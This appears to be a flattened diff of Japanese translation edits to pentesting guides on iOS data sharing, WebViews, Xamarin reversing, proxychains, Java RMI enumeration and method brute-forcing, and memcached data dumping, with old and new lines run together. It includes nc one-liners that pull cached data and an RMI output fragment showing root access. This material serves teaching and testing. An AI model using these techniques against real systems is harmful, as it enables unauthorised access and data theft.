すべての組み込み共有オプションの包括的な列挙は、[UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype)で利用可能です。開発者は、アプリケーションに不適切と判断した特定の共有オプションを除外することができます。 すべての組み込み共有オプションの包括的な列挙は、[UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype)で利用可能です。開発者は、アプリケーションに不適切と判断した特定の共有オプションを除外することができます。
@ -29,9 +29,9 @@ $ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
- **カスタムドキュメントタイプ**の宣言。 - **カスタムドキュメントタイプ**の宣言。
- アプリが開ける**ドキュメントタイプ**の指定。 - アプリが開ける**ドキュメントタイプ**の指定。
- 受信データの**整合性の確認** - **受信データの整合性**の確認。
ソースコードにアクセスできなくても、`Info.plist`を調査して`UTExportedTypeDeclarations``UTImportedTypeDeclarations``CFBundleDocumentTypes`のようなキーを確認することで、アプリが扱えるドキュメントの種類を理解できます。 ソースコードにアクセスできない場合でも、`Info.plist`を調査して`UTExportedTypeDeclarations``UTImportedTypeDeclarations``CFBundleDocumentTypes`のようなキーを確認することで、アプリが扱えるドキュメントのタイプを理解できます。
これらのキーに関する簡潔なガイドは[Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i)で入手可能で、システム全体での認識のためにUTIを定義およびインポートする重要性や、アプリとの統合のためにドキュメントタイプを関連付けることの重要性が強調されています。 これらのキーに関する簡潔なガイドは[Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i)で入手可能で、システム全体での認識のためにUTIを定義およびインポートする重要性や、アプリとの統合のためにドキュメントタイプを関連付けることの重要性が強調されています。

View File

@ -3,16 +3,16 @@
iOSデバイス上のアプリケーション間でのデータ共有は、[`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard)メカニズムによって促進されており、主に2つのカテゴリに分かれています。 iOSデバイス上のアプリケーション間でのデータ共有は、[`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard)メカニズムによって促進されており、主に2つのカテゴリに分かれています。
- **システム全体の一般ペーストボード**: これは**任意のアプリケーション**とデータを共有するために使用され、デバイスの再起動やアプリのアンインストールを超えてデータを持続させるように設計されています。この機能はiOS 10から利用可能です。 - **システム全体の一般ペーストボード**: これは**任意のアプリケーション**とデータを共有するために使用され、デバイスの再起動やアプリのアンインストールを超えてデータを持続させるように設計されています。この機能はiOS 10から利用可能です。
- **カスタム / 名前付きペーストボード**: これらは**アプリ内または同じチームIDを共有する別のアプリとの間**でのデータ共有専用であり、作成したアプリケーションプロセスのライフサイクルを超えて持続するようには設計されていません。これはiOS 10で導入された変更に従っています。 - **カスタム / 名前付きペーストボード**: これらは**アプリ内または同じチームIDを共有する別のアプリとのデータ共有**のために特に設計されており、作成したアプリケーションプロセスのライフサイクルを超えて持続するようには設計されていません。これはiOS 10で導入された変更に従っています。
**セキュリティの考慮事項**は、ペーストボードを利用する際に重要な役割を果たします。例えば: **セキュリティの考慮事項**は、ペーストボードを利用する際に重要な役割を果たします。例えば:
- ユーザーが**ペーストボード**へのアクセス権を管理するメカニズムはありません。 - ユーザーが**ペーストボード**へのアクセスを管理するためのアプリを管理するメカニズムはありません。
- ペーストボードの不正なバックグラウンド監視のリスクを軽減するために、アクセスはアプリケーションがフォアグラウンドにあるときに制限されていますiOS 9以降 - ペーストボードの不正なバックグラウンド監視のリスクを軽減するために、アクセスはアプリケーションがフォアグラウンドにあるときに制限されていますiOS 9以降
- プライバシーの懸念から、持続的な名前付きペーストボードの使用は、共有コンテナの方が好まれます。 - プライバシーの懸念から、持続的な名前付きペーストボードの使用は共有コンテナの方が推奨されています。
- iOS 10で導入された**ユニバーサルクリップボード**機能は、一般的なペーストボードを介してデバイス間でコンテンツを共有できるようにし、開発者がデータの有効期限を設定し、自動コンテンツ転送を無効にすることができます。 - iOS 10で導入された**ユニバーサルクリップボード**機能は、一般ペーストボードを介してデバイス間でコンテンツを共有できるようにし、開発者がデータの有効期限を設定し、自動コンテンツ転送を無効にすることができます。
**機密情報が誤ってグローバルペーストボードに保存されないようにすること**が重要です。さらに、アプリケーションは、意図しないアクションのためにグローバルペーストボードデータの悪用を防ぐように設計されるべきであり、開発者は機密情報をクリップボードにコピーすることを防ぐための対策を実装することが推奨されます。 **機密情報が誤って**グローバルペーストボードに保存されないようにすることが重要です。さらに、アプリケーションはグローバルペーストボードデータの不正使用を防ぐように設計されるべきであり、開発者は機密情報をクリップボードにコピーすることを防ぐための対策を実装することが推奨されます。
### 静的分析 ### 静的分析
@ -31,11 +31,11 @@ iOSデバイス上のアプリケーション間でのデータ共有は、[`UIP
監視すべき重要な詳細には以下が含まれます: 監視すべき重要な詳細には以下が含まれます:
- **ペーストボード名**と**内容**例えば、文字列、URL、画像の確認)。 - **ペーストボード名**と**内容**例えば、文字列、URL、画像のチェック)。
- 存在する**アイテムの数**と**データタイプ**、標準およびカスタムデータタイプチェックを活用します。 - 存在する**アイテムの数**と**データタイプ**、標準およびカスタムデータタイプチェックを活用します。
- `setItems:options:`メソッドを調査して**有効期限およびローカル専用オプション**を確認します。 - `setItems:options:`メソッドを調査して**有効期限およびローカル専用オプション**を確認します。
監視ツールの使用例としては、**objectionのペーストボードモニター**があり、一般的なペーストボードを5秒ごとにポーリングして変更を確認し、新しいデータを出力します。 監視ツールの使用例としては、**objectionのペーストボードモニター**があり、一般ペーストボードを5秒ごとにポーリングして変更を確認し、新しいデータを出力します。
以下は、objectionのアプローチに触発されたシンプルなJavaScriptスクリプトの例で、ペーストボードからの変更を5秒ごとに読み取り、ログに記録します 以下は、objectionのアプローチに触発されたシンプルなJavaScriptスクリプトの例で、ペーストボードからの変更を5秒ごとに読み取り、ログに記録します
```javascript ```javascript

View File

@ -24,11 +24,11 @@
### **Apple App Site Associationファイルの取得** ### **Apple App Site Associationファイルの取得**
`apple-app-site-association`ファイルは、権限に指定されたドメインを使用してサーバーから取得する必要があります。ファイルが`https://<domain>/apple-app-site-association`でHTTPS経由で直接アクセス可能であることを確認してください。[Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/)のようなツールがこのプロセスを支援できます。 `apple-app-site-association`ファイルは、権限に指定されたドメインを使用してサーバーから取得する必要があります。このファイルは、`https://<domain>/apple-app-site-association`でHTTPS経由で直接アクセスできることを確認してください。[Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/)のようなツールがこのプロセスを支援できます。
### **アプリ内のユニバーサルリンクの処理** ### **アプリ内のユニバーサルリンクの処理**
アプリはユニバーサルリンクを正しく処理するために特定のメソッドを実装する必要があります。探すべき主なメソッドは[`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application)です。処理されるURLのスキームHTTPまたはHTTPSであることが重要であり、他のスキームはサポートされません。 アプリはユニバーサルリンクを正しく処理するために特定のメソッドを実装する必要があります。探すべき主なメソッドは[`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application)です。処理されるURLのスキームHTTPまたはHTTPSであることが重要であり、他のスキームはサポートされません。
#### **データハンドラーメソッドの検証** #### **データハンドラーメソッドの検証**
@ -70,7 +70,7 @@ return false
} }
} }
``` ```
開発者は、**勤勉な構成と検証**を通じて、ユニバーサルリンクがユーザーエクスペリエンスを向上させると同時に、セキュリティとプライバシー基準を維持できるようにすることができます。 開発者は、**勤勉な構成と検証**を通じて、ユニバーサルリンクがユーザーエクスペリエンスを向上させると同時に、セキュリティとプライバシー基準を維持することを確実にできます。
## ツール ## ツール

View File

@ -124,7 +124,7 @@ WebViews内のコンテンツを処理することは重要な側面であり、
**WebViews**は、コンテンツの読み込みに異なる方法を提供します。現在は非推奨の**UIWebView**では、`loadHTMLString:baseURL:``loadData:MIMEType:textEncodingName:baseURL:`のようなメソッドが使用されます。一方、**WKWebView**は、ウェブコンテンツのために`loadHTMLString:baseURL:``loadData:MIMEType:textEncodingName:baseURL:`、および`loadRequest:`を使用します。ローカルファイルを読み込むためには、通常`pathForResource:ofType:``URLForResource:withExtension:`、および`init(contentsOf:encoding:)`のようなメソッドが利用されます。`loadFileURL:allowingReadAccessToURL:`メソッドは、特定のURLまたはディレクトリをWebViewに読み込む能力が特に注目されており、ディレクトリが指定された場合には機密データが露出する可能性があります。 **WebViews**は、コンテンツの読み込みに異なる方法を提供します。現在は非推奨の**UIWebView**では、`loadHTMLString:baseURL:``loadData:MIMEType:textEncodingName:baseURL:`のようなメソッドが使用されます。一方、**WKWebView**は、ウェブコンテンツのために`loadHTMLString:baseURL:``loadData:MIMEType:textEncodingName:baseURL:`、および`loadRequest:`を使用します。ローカルファイルを読み込むためには、通常`pathForResource:ofType:``URLForResource:withExtension:`、および`init(contentsOf:encoding:)`のようなメソッドが利用されます。`loadFileURL:allowingReadAccessToURL:`メソッドは、特定のURLまたはディレクトリをWebViewに読み込む能力が特に注目されており、ディレクトリが指定された場合には機密データが露出する可能性があります。
これらのメソッドをソースコードやコンパイルされたバイナリ内で見つけるためには、以下のようなコマンドを使用できます: これらのメソッドをソースコードやコンパイルされたバイナリ内で見つけるためには、のようなコマンドを使用できます:
```bash ```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString" $ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL: 231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
@ -213,7 +213,7 @@ userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridg
``` ```
### インタラクションとテスト ### インタラクションとテスト
JavaScriptはスクリプトメッセージハンドラーを定義することでネイティブレイヤーとインタラクションできます。これにより、ウェブページからネイティブ関数を呼び出すなどの操作が可能になります JavaScriptはスクリプトメッセージハンドラーを定義することでネイティブレイヤーとインタラクションできます。これにより、ウェブページからネイティブ関数を呼び出すなどの操作が可能になります
```javascript ```javascript
function invokeNativeOperation() { function invokeNativeOperation() {
value1 = document.getElementById("value1").value value1 = document.getElementById("value1").value
@ -256,7 +256,7 @@ message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
(Tutorial based on the one from [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)) (Tutorial based on the one from [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
iOS webviews内のウェブコンテンツを効果的にデバッグするには、`console.log()`に送信されたメッセージがXcodeのログに表示されないため、Safariの開発者ツールを使用した特定のセットアップが必要です。以下は、重要なステップと要件を強調した簡略ガイドです iOS webviews内のウェブコンテンツを効果的にデバッグするには、`console.log()`に送信されたメッセージがXcodeのログに表示されないため、Safariの開発者ツールを使用した特定のセットアップが必要です。以下は、重要なステップと要件を強調した簡略ガイドです
- **iOSデバイスの準備**: iOSデバイスでSafari Web Inspectorを有効にする必要があります。これは、**設定 > Safari > 詳細**に移動し、_Web Inspector_を有効にすることで行います。 - **iOSデバイスの準備**: iOSデバイスでSafari Web Inspectorを有効にする必要があります。これは、**設定 > Safari > 詳細**に移動し、_Web Inspector_を有効にすることで行います。
@ -266,8 +266,8 @@ iOS webviews内のウェブコンテンツを効果的にデバッグするに
ただし、制限に注意してください: ただし、制限に注意してください:
- この方法でのデバッグにはmacOSデバイスが必要です。Safariに依存しているためです。 - この方法でのデバッグにはmacOSデバイスが必要です。これはSafariに依存しています。
- Xcodeを通じてデバイスにロードされたアプリケーション内のwebviewのみがデバッグの対象となります。App StoreやApple Configuratorを介してインストールされたアプリのwebviewはこの方法でデバッグできません。 - Xcodeを通じてデバイスにロードされたアプリケーション内のwebviewのみがデバッグの対象となります。App StoreやApple Configuratorを介してインストールされたアプリのwebviewはこの方法でデバッグできません。
## 参考文献 ## 参考文献

View File

@ -4,7 +4,7 @@
## **基本情報** ## **基本情報**
Xamarinは、開発者が.NETおよびC#フレームワークを使用して**iOS、Android、Windows用のアプリを構築**するために設計された**オープンソースプラットフォーム**です。このプラットフォームは、効率的に現代的なアプリケーションを作成するための多数のツールと拡張機能へのアクセスを提供します。 Xamarinは、開発者が.NETおよびC#フレームワークを使用して**iOS、Android、Windows**向けのアプリを**構築するために設計された**オープンソースプラットフォームです。このプラットフォームは、効率的に現代的なアプリケーションを作成するための多数のツールと拡張機能へのアクセスを提供します。
### Xamarinのアーキテクチャ ### Xamarinのアーキテクチャ
@ -13,7 +13,7 @@ Xamarinは、開発者が.NETおよびC#フレームワークを使用して**iO
### .NETランタイムとMonoフレームワーク ### .NETランタイムとMonoフレームワーク
**.NETフレームワーク**には、アプリケーション開発のためのアセンブリ、クラス、および名前空間が含まれており、.NETランタイムがコードの実行を管理します。プラットフォームの独立性と後方互換性を提供します。**Monoフレームワーク**は、2005年にLinux向け.NETを拡張するために開始されたオープンソース版の.NETフレームワークで、現在はMicrosoftによってサポートされ、Xamarinによって主導されています。 **.NETフレームワーク**には、アプリケーション開発のためのアセンブリ、クラス、および名前空間が含まれており、.NETランタイムがコードの実行を管理します。プラットフォームの独立性と後方互換性を提供します。**Monoフレームワーク**は、2005年に.NETをLinuxに拡張するために開始されたオープンソース版の.NETフレームワークで、現在はMicrosoftによってサポートされ、Xamarinによって主導されています。
### Xamarinアプリのリバースエンジニアリング ### Xamarinアプリのリバースエンジニアリング
@ -41,7 +41,7 @@ iOSのdllファイルは逆コンパイルのために容易にアクセス可
### 静的分析 ### 静的分析
`.dll`を取得したら、[**dnSpy**](https://github.com/dnSpy/dnSpy) **や** [**ILSpy**](https://github.com/icsharpcode/ILSpy) **などのツールを使用して、.Netコードを静的に分析することが可能です。これにより、アプリのコードを変更することができます。これは、例えば保護を回避するためにアプリケーションを改ざんするのに非常に役立ちます。\ `.dll`を取得したら、[**dnSpy**](https://github.com/dnSpy/dnSpy) **や** [**ILSpy**](https://github.com/icsharpcode/ILSpy) **などのツールを使用して、.Netコードを静的に分析することが可能です。これにより、アプリのコードを変更することができます。これは、保護を回避するためにアプリケーションを改ざんするのに非常に役立ちます。\
アプリを変更した後は、再度パッキングし、再署名する必要があることに注意してください。 アプリを変更した後は、再度パッキングし、再署名する必要があることに注意してください。
### 動的分析 ### 動的分析

View File

@ -38,7 +38,7 @@ PORT STATE SERVICE
### 基本的なproxychainsの使用法 ### 基本的なproxychainsの使用法
socksプロキシを使用するためにproxy chainsを設定します socksプロキシを使用するためにプロキシチェーンを設定します
``` ```
nano /etc/proxychains4.conf nano /etc/proxychains4.conf
``` ```
@ -50,6 +50,6 @@ socks5 10.10.10.10 1080
``` ```
socks5 10.10.10.10 1080 username password socks5 10.10.10.10 1080 username password
``` ```
#### 詳細情報: [Tunneling and Port Forwarding](../generic-hacking/tunneling-and-port-forwarding.md) #### 詳細情報: [トンネリングとポートフォワーディング](../generic-hacking/tunneling-and-port-forwarding.md)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## 基本情報 ## 基本情報
_Java Remote Method Invocation__Java RMI_は、1つの_Java仮想マシン_にあるオブジェクトが別の_Java仮想マシン_にあるオブジェクトのメソッドを呼び出すことを可能にするオブジェクト指向の_RPC_メカニズムです。これにより、開発者はオブジェクト指向のパラダイムを使用して分散アプリケーションを作成できます。攻撃的な視点からの_Java RMI_の簡単な紹介は、[このblackhatトーク](https://youtu.be/t_aw1mDNhzI?t=202)で見ることができます。 _Java Remote Method Invocation_、または _Java RMI_ は、1つの _Java仮想マシン_ にあるオブジェクトが別の _Java仮想マシン_ にあるオブジェクトのメソッドを呼び出すことを可能にするオブジェクト指向の _RPC_ メカニズムです。これにより、開発者はオブジェクト指向のパラダイムを使用して分散アプリケーションを作成できます。攻撃的な視点からの _Java RMI_ に関する簡単な紹介は [このblackhatトーク](https://youtu.be/t_aw1mDNhzI?t=202) で見ることができます。
**デフォルトポート:** 1090,1098,1099,1199,4443-4446,8999-9010,9999 **デフォルトポート:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
``` ```
@ -22,10 +22,10 @@ _nmap_ は時々 _SSL_ 保護された _RMI_ サービスを特定するのに
簡単に言うと、_Java RMI_ は開発者が _Java object_ をネットワーク上で利用可能にすることを可能にします。これにより、クライアントが接続し、対応するオブジェクトのメソッドを呼び出すための _TCP_ ポートが開かれます。これが簡単に聞こえるにもかかわらず、_Java RMI_ が解決しなければならないいくつかの課題があります: 簡単に言うと、_Java RMI_ は開発者が _Java object_ をネットワーク上で利用可能にすることを可能にします。これにより、クライアントが接続し、対応するオブジェクトのメソッドを呼び出すための _TCP_ ポートが開かれます。これが簡単に聞こえるにもかかわらず、_Java RMI_ が解決しなければならないいくつかの課題があります:
1. _Java RMI_ を介してメソッド呼び出しを行うには、クライアントはターゲットオブジェクトの IP アドレス、リスニングポート、実装されたクラスまたはインターフェース、および `ObjID` を知っている必要があります(`ObjID` は、オブジェクトがネットワーク上で利用可能にされたときに作成される一意でランダムな識別子です。これは、_Java RMI_ が複数のオブジェクトが同じ _TCP_ ポートでリスすることを許可するために必要です)。 1. _Java RMI_ を介してメソッド呼び出しを行うには、クライアントはターゲットオブジェクトの IP アドレス、リスニングポート、実装されたクラスまたはインターフェース、および `ObjID` を知っている必要があります(`ObjID` は、オブジェクトがネットワーク上で利用可能にされたときに作成される一意でランダムな識別子です。これは、_Java RMI_ が複数のオブジェクトが同じ _TCP_ ポートでリスンすることを許可するために必要です)。
2. リモートクライアントは、公開されたオブジェクトのメソッドを呼び出すことによってサーバー上にリソースを割り当てることができます。_Java virtual machine_ は、これらのリソースのうちどれがまだ使用中で、どれがガベジコレクトできるかを追跡する必要があります。 2. リモートクライアントは、公開されたオブジェクトのメソッドを呼び出すことによってサーバー上にリソースを割り当てることができます。_Java virtual machine_ は、これらのリソースのうちどれがまだ使用中で、どれがガベジコレクトできるかを追跡する必要があります。
最初の課題は _RMI registry_ によって解決されます。これは基本的に _Java RMI_ のための名前付けサービスです。_RMI registry_ 自体も _RMI service_ ですが、実装されたインターフェースと `ObjID` は固定されており、すべての _RMI_ クライアントによって知られています。これにより、_RMI_ クライアントは対応する _TCP_ ポートを知っているだけで _RMI_ レジストリを利用することができます。 最初の課題は _RMI registry_ によって解決されます。これは基本的に _Java RMI_ のためのネーミングサービスです。_RMI registry_ 自体も _RMI service_ ですが、実装されたインターフェースと `ObjID` は固定されており、すべての _RMI_ クライアントによって知られています。これにより、_RMI_ クライアントは対応する _TCP_ ポートを知っているだけで _RMI_ レジストリを利用することができます。
開発者が自分の _Java objects_ をネットワーク内で利用可能にしたい場合、通常はそれらを _RMI registry_ にバインドします。_registry_ はオブジェクトに接続するために必要なすべての情報IP アドレス、リスニングポート、実装されたクラスまたはインターフェース、および `ObjID`を保存し、人間が読みやすい名前_bound name_の下で利用可能にします。_RMI service_ を利用したいクライアントは、対応する _bound name_ のために _RMI registry_ に問い合わせ、レジストリは接続に必要なすべての情報を返します。したがって、状況は基本的に通常の _DNS_ サービスと同じです。以下のリストは小さな例を示しています: 開発者が自分の _Java objects_ をネットワーク内で利用可能にしたい場合、通常はそれらを _RMI registry_ にバインドします。_registry_ はオブジェクトに接続するために必要なすべての情報IP アドレス、リスニングポート、実装されたクラスまたはインターフェース、および `ObjID`を保存し、人間が読みやすい名前_bound name_の下で利用可能にします。_RMI service_ を利用したいクライアントは、対応する _bound name_ のために _RMI registry_ に問い合わせ、レジストリは接続に必要なすべての情報を返します。したがって、状況は基本的に通常の _DNS_ サービスと同じです。以下のリストは小さな例を示しています:
```java ```java
@ -53,7 +53,7 @@ e.printStackTrace();
``` ```
上記の課題の2番目は、_Distributed Garbage Collector_ (_DGC_)によって解決されます。これは、よく知られた`ObjID`値を持つ別の_RMI service_であり、基本的に各_RMI endpoint_で利用可能です。_RMI client_が_RMI service_の使用を開始すると、対応する_remote object_が使用中であることを_DGC_に通知します。_DGC_は参照カウントを追跡し、未使用のオブジェクトをクリーンアップすることができます。 上記の課題の2番目は、_Distributed Garbage Collector_ (_DGC_)によって解決されます。これは、よく知られた`ObjID`値を持つ別の_RMI service_であり、基本的に各_RMI endpoint_で利用可能です。_RMI client_が_RMI service_の使用を開始すると、対応する_remote object_が使用中であることを_DGC_に通知します。_DGC_は参照カウントを追跡し、未使用のオブジェクトをクリーンアップすることができます。
廃止された_Activation System_とともに、これらは_Java RMI_の3つのデフォルトコンポーネントです 非推奨の_Activation System_とともに、これらは_Java RMI_の3つのデフォルトコンポーネントです
1. _RMI Registry_ (`ObjID = 0`) 1. _RMI Registry_ (`ObjID = 0`)
2. _Activation System_ (`ObjID = 1`) 2. _Activation System_ (`ObjID = 1`)
@ -125,7 +125,7 @@ $ rmg enum 172.17.0.2 9010
``` ```
列挙アクションの出力は、プロジェクトの[ドキュメントページ](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)で詳しく説明されています。結果に応じて、特定された脆弱性を確認することを試みるべきです。 列挙アクションの出力は、プロジェクトの[ドキュメントページ](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)で詳しく説明されています。結果に応じて、特定された脆弱性を確認することを試みるべきです。
_remote-method-guesser_によって表示される`ObjID`値は、サービスの稼働時間を特定するために使用できます。これにより、他の脆弱性を特定できる場合があります。 _remote-method-guesser_によって表示される`ObjID`値は、サービスの稼働時間を特定するために使用できます。これにより、他の脆弱性を特定できる可能性があります。
``` ```
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
@ -138,9 +138,9 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
``` ```
## リモートメソッドのブルートフォース ## リモートメソッドのブルートフォース
列挙中に脆弱性が特定されていなくても、利用可能な _RMI_ サービスは依然として危険な関数を露出する可能性があります。さらに、_RMI_ 通信 _RMI_ デフォルトコンポーネントに対してデシリアライズフィルターによって保護されているものの、カスタム _RMI_ サービスとの通信では、そのようなフィルターは通常存在しません。したがって、_RMI_ サービス上の有効なメソッドシグネチャを知ることは価値があります。 列挙中に脆弱性が特定されていなくても、利用可能な _RMI_ サービスは依然として危険な関数を露出する可能性があります。さらに、_RMI_ 通信 _RMI_ デフォルトコンポーネントに対してデシリアライズフィルターによって保護されていますが、カスタム _RMI_ サービスと通信する際には、そのようなフィルターは通常存在しません。したがって、_RMI_ サービス上の有効なメソッドシグネチャを知ることは価値があります。
残念ながら、_Java RMI_ は _リモートオブジェクト_ 上のメソッドを列挙することをサポートしていません。とはいえ、[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) や [rmiscout](https://github.com/BishopFox/rmiscout) のようなツールを使用してメソッドシグネチャをブルートフォースすること可能です。 残念ながら、_Java RMI_ は _リモートオブジェクト_ 上のメソッドを列挙することをサポートしていません。それを踏まえると、[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) や [rmiscout](https://github.com/BishopFox/rmiscout) のようなツールを使用してメソッドシグネチャをブルートフォースすること可能です。
``` ```
$ rmg guess 172.17.0.2 9010 $ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt [+] Reading method candidates from internal wordlist rmg.txt
@ -205,11 +205,11 @@ uid=0(root) gid=0(root) groups=0(root)
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://bishopfox.com/blog/rmiscout) - [rmiscout](https://bishopfox.com/blog/rmiscout)
推測することに加えて、検索エンジンや_GitHub_で遭遇した_RMI_サービスのインターフェースや実装を探すべきです。_bound name_と実装されたクラスまたはインターフェースの名前が役立つ場合があります。 推測することに加えて、検索エンジンや _GitHub_ で遭遇した _RMI_ サービスのインターフェースや実装を探すべきです。 _bound name_ と実装されたクラスまたはインターフェースの名前が役立つ場合があります。
## Known Interfaces ## Known Interfaces
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)は、ツールの内部データベースにリストされている場合、クラスやインターフェースを`known`としてマークします。この場合、対応する_RMIサービス_に関する詳細情報を取得するために`known`アクションを使用できます: [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) は、ツールの内部データベースにリストされている _RMI services_ のクラスまたはインターフェースを `known` としてマークします。これらの場合、対応する _RMI service_ に関する詳細情報を取得するために `known` アクションを使用できます:
``` ```
$ rmg enum 172.17.0.2 1090 | head -n 5 $ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names: [+] RMI registry bound names:

View File

@ -6,7 +6,7 @@
[ウィキペディア](https://en.wikipedia.org/wiki/Memcached)から: [ウィキペディア](https://en.wikipedia.org/wiki/Memcached)から:
> **Memcached**(発音: mem-cashed, mem-cash-deeは、一般的な分散型[メモリキャッシング](https://en.wikipedia.org/wiki/Memory_caching)システムです。データとオブジェクトをRAMにキャッシュすることで、外部データソースデータベースやAPIなどを読み取る回数を減らし、動的なデータベース駆動のウェブサイトの速度を向上させるためにしばしば使用されます。 > **Memcached**(発音: mem-cashed, mem-cash-deeは、一般的な分散型[メモリキャッシング](https://en.wikipedia.org/wiki/Memory_caching)システムです。データとオブジェクトをRAMにキャッシュすることで、外部データソースデータベースやAPIなどを読み取る回数を減らし、動的なデータベース駆動のウェブサイトの速度を向上させるためにしばしば使用されます。
MemcachedはSASLをサポートしていますが、ほとんどのインスタンスは**認証なしで公開されています**。 MemcachedはSASLをサポートしていますが、ほとんどのインスタンスは**認証なしで公開されています**。
@ -25,7 +25,7 @@ memcache インスタンス内に保存されているすべての情報を抽
2. 前に検出したスラブの **キー名** を取得する 2. 前に検出したスラブの **キー名** を取得する
3. **キー名** を取得することで **保存されたデータ** を抽出する 3. **キー名** を取得することで **保存されたデータ** を抽出する
このサービスは単なる **キャッシュ** であるため、**データが出現したり消えたりする** 可能性があることを忘れないでください。 このサービスは単なる **キャッシュ** であるため、**データが現れたり消えたりする** 可能性があることを忘れないでください。
```bash ```bash
echo "version" | nc -vn -w 1 <IP> 11211 #Get version echo "version" | nc -vn -w 1 <IP> 11211 #Get version
echo "stats" | nc -vn -w 1 <IP> 11211 #Get status echo "stats" | nc -vn -w 1 <IP> 11211 #Get status
@ -55,11 +55,11 @@ msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplifica
memcacheの領域では、データをスラブによって整理するのを助けるプロトコルであり、保存されたデータを検査するための特定のコマンドが存在しますが、顕著な制約があります memcacheの領域では、データをスラブによって整理するのを助けるプロトコルであり、保存されたデータを検査するための特定のコマンドが存在しますが、顕著な制約があります
1. キーはスラブクラスごとにのみダンプでき、同様のコンテンツサイズのキーがグループ化されます。 1. キーはスラブクラスごとにのみダンプでき、同様のコンテンツサイズのキーをグループ化します。
2. スラブクラスごとに1ページの制限があり、これは1MBのデータに相当します。 2. スラブクラスごとに1ページの制限があり、これは1MBのデータに相当します。
3. この機能は公式ではなく、いつでも中止される可能性があるため、[コミュニティフォーラム](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM)で議論されています。 3. この機能は公式ではなく、いつでも中止される可能性があるため、[コミュニティフォーラム](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM)で議論されています。
数ギガバイトのデータから1MBしかダンプできないという制限は特に重要です。しかし、この機能は特定のニーズに応じてキー使用パターンに関する洞察を提供することができます。メカニクスにあまり興味がない方は、[ツールセクション](https://lzone.de/cheat-sheet/memcached#tools)を訪れると、包括的なダンプのためのユーティリティが見つかります。あるいは、memcachedセットアップとの直接的な対話のためにtelnetを使用するプロセスは以下に示されています。 数ギガバイトのデータから1MBしかダンプできないという制限は特に重要です。しかし、この機能は特定のニーズに応じてキー使用パターンに関する洞察を提供することができます。メカニクスにあまり興味がない方は、[ツールセクション](https://lzone.de/cheat-sheet/memcached#tools)を訪れると、包括的なダンプのためのユーティリティが見つかります。あるいは、memcachedセットアップとの直接的な対話のためにtelnetを使用するプロセスは以下に示されています。
### **動作の仕組み** ### **動作の仕組み**
@ -79,7 +79,7 @@ set mykey 0 60 1
1 1
STORED STORED
``` ```
"stats slabs" コマンドをキー追加後に実行すると、スラブの利用状況に関する詳細な統計が得られます: "stats slabs" コマンドをキー追加後に実行すると、スラブの利用状況に関する詳細な統計が得られます
```bash ```bash
stats slabs stats slabs
[...] [...]
@ -105,11 +105,11 @@ stats cachedump 1 1000
ITEM mykey [1 b; 1350677968 s] ITEM mykey [1 b; 1350677968 s]
END END
``` ```
このメソッドはスラブクラスを反復処理し、キーの値を抽出し、オプションでダンプします。 この方法はスラブクラスを反復処理し、キーの値を抽出し、オプションでダンプします。
### **MEMCACHE キーのダンプ (VER 1.4.31+)** ### **MEMCACHE キーのダンプ (VER 1.4.31+)**
memcache バージョン 1.4.31 以上では、プロダクション環境でのキーのダンプのための新しい安全なメソッドが導入されており、[リリースノート](https://github.com/memcached/memcached/wiki/ReleaseNotes1431)に詳述されている非ブロッキングモードを利用しています。このアプローチは膨大な出力を生成するため、効率のために 'nc' コマンドを使用することを推奨します。例としては memcache バージョン 1.4.31 以上では、[リリースノート](https://github.com/memcached/memcached/wiki/ReleaseNotes1431)に詳述されている非ブロッキングモードを利用した、プロダクション環境でのキーをダンプするための新しい安全な方法が導入されました。このアプローチは広範な出力を生成するため、効率のために 'nc' コマンドを使用することを推奨します。例としては次のようなものがあります:
```bash ```bash
